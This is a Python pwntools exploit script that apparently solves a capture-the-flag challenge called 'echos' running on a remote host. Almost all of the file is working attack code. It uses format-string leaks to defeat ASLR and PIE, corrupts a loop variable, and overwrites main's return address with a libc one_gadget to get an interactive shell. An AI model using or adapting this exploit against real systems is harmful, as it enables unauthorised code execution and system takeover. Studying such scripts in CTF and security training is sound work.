#!/usr/bin/env python3

from pwn import *

elf = ELF('./echos')
libc = ELF('./libc.so.6')

#p = process('./echos', env={'LD_PRELOAD': './libc.so.6'})
p = remote("du.samcalamos.com.au", 30001)
#p = remote("localhost", 1337)

# Our input starts at offset 8 on the stack
# Get the required leaks and find the required base addresses
p.sendline(b'%p %18$p %19$p') # &buffer, PIE addr, libc addr

leaks = p.recvline().strip().split(b" ")
buffer_addr  = int(leaks[0], 16)
loopvar_addr = buffer_addr - 4 # address of the loop variable `i`
main_ret     = buffer_addr + 0x58 # address of main's return pointer
elf.address  = int(leaks[1], 16) - 0x890
libc.address = int(leaks[2], 16) - 0x21b97
one_gadget   = libc.address + 0x10a38c

log.info("&buffer: " + hex(buffer_addr))
log.info("main's return pointer: " + hex(main_ret))
log.info("PIE base: " + hex(elf.address))
log.info("Libc base: " + hex(libc.address))
log.info("one_gadget: " + hex(one_gadget))

# Overwrite the loop variable `i` to a large negative number by flipping its
# upper bit
p.sendline(b"%247c%10$hhn".rjust(16, b"A") + p64(loopvar_addr + 3))

def write_to_addr(addr, val):
    bytes_to_write = [
            val & 0xffff,
            (val & 0xffffffff) >> 16,
            (val & 0xffffffffffff) >> 32,
    ]

    log.info("Writing {} to {}".format(hex(bytes_to_write[0]), hex(addr)))
    p.sendline(bytes("%{}c%10$hn".format(bytes_to_write[0] - 3).rjust(16, "A"),
        'utf-8') + p64(addr))

    log.info("Writing {} to {}".format(hex(bytes_to_write[1]), hex(addr+2)))
    p.sendline(bytes("%{}c%10$hn".format(bytes_to_write[1] - 3).rjust(16, "A"),
        'utf-8') + p64(addr+2))

    log.info("Writing {} to {}".format(hex(bytes_to_write[2]), hex(addr+4)))
    p.sendline(bytes("%{}c%10$hn".format(bytes_to_write[2] - 3).rjust(16, "A"),
        'utf-8') + p64(addr+4))

write_to_addr(main_ret, one_gadget) # Overwrite main's ret addr with one gadget
write_to_addr(loopvar_addr, 1) # Change loop variable back to 1 to exit

p.interactive()
